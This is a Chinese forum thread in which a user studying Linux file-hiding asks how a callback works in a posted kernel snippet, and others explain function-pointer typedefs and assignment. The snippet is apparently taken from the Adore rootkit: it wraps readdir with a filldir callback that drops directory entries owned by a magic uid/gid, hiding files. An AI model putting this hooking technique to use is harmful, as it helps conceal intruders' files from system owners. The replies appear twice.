内核编程遇到回调函数,实在看不明白,哪位高手帮忙看看解释下,跪谢。

时间:2021-10-17 19:59:32

小弟近日在研究linux下文件隐藏技术,遇到一处回调函数,实在看不明白,先附上部分源代码如下。readdir_t我在各个内核版本都搜过没有找到其源代码,可以确定是没有函数体的定义的。其实readdir_t和VFS中的file_operations->readdir是一样的,即函数返回值和函数参数一样,file_operations->readdir本身就是一个没有定义函数体的函数指针,实现的功能是读取文件中的目录项。

filldir_t root_filldir = NULL;//  typedef int (*filldir_t)(void *, const char *, int, loff_t, u64, unsigned);
struct super_block *root_sb[1024];
typedef int (*readdir_t)(struct file *, void *, filldir_t);
readdir_t orig_root_readdir=NULL;


int adore_root_filldir(void *buf, const char *name, int nlen, loff_t off, ino_t ino, unsigned x)
{
struct inode *inode = NULL;
int r = 0;
uid_t uid;
gid_t gid;

if ((inode = iget(root_sb[current->pid % 1024], ino)) == NULL)
return 0;
uid = inode->i_uid;
gid = inode->i_gid;
iput(inode);

/* Is it hidden ? */
if (uid == ELITE_UID && gid == ELITE_GID) {
r = 0;
} else
r = root_filldir(buf, name, nlen, off, ino, x);

return r;
}


int adore_root_readdir(struct file *fp, void *buf, filldir_t filldir)
{
int r = 0;

if (!fp || !fp->f_vfsmnt)
return 0;

root_filldir = filldir;
root_sb[current->pid % 1024] = fp->f_vfsmnt->mnt_sb;
r = orig_root_readdir(fp, buf, adore_root_filldir);//问题在这,如何会调用到adore_root_filldir函数?因为orig_root_readdir是一个readdir_t函数指针,readdir_t指针函数是没有定义函数体的。

return r;
}

7 个解决方案

#1


typedef int (*readdir_t)(struct file *, void *, filldir_t);
这里不是定义了吗

#2


在你的post 中 写到

“r = orig_root_readdir(fp, buf, adore_root_filldir);//问题在这,如何会调用到adore_root_filldir函数? 因为orig_root_readdir是一个readdir_t函数指针,readdir_t指针函数是没有定义函数体的。

我想是这样的,
typedef int (*readdir_t)(struct file *, void *, filldir_t);  这句话 定义了一个数据类型,其是一个返回值为 int,入参为 struct file *, void *, filldir_t 的 函数指针。  它是一个数据类型。

orig_root_readdir 是一个全局变量,它是一个函数指针,
r = orig_root_readdir(fp, buf, adore_root_filldir);  运行到这里之前,想必在某时某地已经对 函数指针 orig_root_readdir 进行了赋值, 而这里这个调用就直接去那个位置执行了。 也是在该函数的随后执行中 全局变量,函数指针root_filldir 被赋值为 adore_root_filldir, 随后 adore_root_filldir 得到调用执行。

我想,楼主在这个点是不是有些混淆了 数据类型和变量之间的区别, 只是数据类型变成了 函数指针

#3


先谢谢•pro_or_gram的关注和分析,其实我想表达的是orig_root_readdir
这个函数指针类型有个实现,比如
int orig_root_readdir((struct file
 *, void *, filldir_t)
{ s=filldir_t ;}这样的话就相当于调用了
filldir_t类型函数,但问题是目前为止怎么都找不到
readdir类型函数的类似实现。我认为只要这样才可以调用到adore_root_filldir 啊

#4


我不是这么认为的。

我觉得更像是在哪里实现了 这么一个函数
int some_function((struct file  *, void *, filldir_t)
{ s=filldir_t ;}

之后在某时某地,将 some_function 赋值给 orig_root_readdir 这个变量

之后,如下这样

r = orig_root_readdir(fp, buf, adore_root_filldir);

#5


readdir 只是函数指针类型的别称。
你在3楼说的那个是声明。
那你要看看orig_root_readdir当时指向哪个函数,再去找这个函数的定义咯

#6


对啊 现在问题是怎么都找不到类似int some_function((struct file *, void *, filldir_t)
{ s=filldir_t ;}实现。我在内核源代码也找过readdir,也没有实现。问题在这。。

#7


有点眉目了。pro_or_gram说的对,多谢

#1


typedef int (*readdir_t)(struct file *, void *, filldir_t);
这里不是定义了吗

#2


在你的post 中 写到

“r = orig_root_readdir(fp, buf, adore_root_filldir);//问题在这,如何会调用到adore_root_filldir函数? 因为orig_root_readdir是一个readdir_t函数指针,readdir_t指针函数是没有定义函数体的。

我想是这样的,
typedef int (*readdir_t)(struct file *, void *, filldir_t);  这句话 定义了一个数据类型,其是一个返回值为 int,入参为 struct file *, void *, filldir_t 的 函数指针。  它是一个数据类型。

orig_root_readdir 是一个全局变量,它是一个函数指针,
r = orig_root_readdir(fp, buf, adore_root_filldir);  运行到这里之前,想必在某时某地已经对 函数指针 orig_root_readdir 进行了赋值, 而这里这个调用就直接去那个位置执行了。 也是在该函数的随后执行中 全局变量,函数指针root_filldir 被赋值为 adore_root_filldir, 随后 adore_root_filldir 得到调用执行。

我想,楼主在这个点是不是有些混淆了 数据类型和变量之间的区别, 只是数据类型变成了 函数指针

#3


先谢谢•pro_or_gram的关注和分析,其实我想表达的是orig_root_readdir
这个函数指针类型有个实现,比如
int orig_root_readdir((struct file
 *, void *, filldir_t)
{ s=filldir_t ;}这样的话就相当于调用了
filldir_t类型函数,但问题是目前为止怎么都找不到
readdir类型函数的类似实现。我认为只要这样才可以调用到adore_root_filldir 啊

#4


我不是这么认为的。

我觉得更像是在哪里实现了 这么一个函数
int some_function((struct file  *, void *, filldir_t)
{ s=filldir_t ;}

之后在某时某地,将 some_function 赋值给 orig_root_readdir 这个变量

之后,如下这样

r = orig_root_readdir(fp, buf, adore_root_filldir);

#5


readdir 只是函数指针类型的别称。
你在3楼说的那个是声明。
那你要看看orig_root_readdir当时指向哪个函数,再去找这个函数的定义咯

#6


对啊 现在问题是怎么都找不到类似int some_function((struct file *, void *, filldir_t)
{ s=filldir_t ;}实现。我在内核源代码也找过readdir,也没有实现。问题在这。。

#7


有点眉目了。pro_or_gram说的对,多谢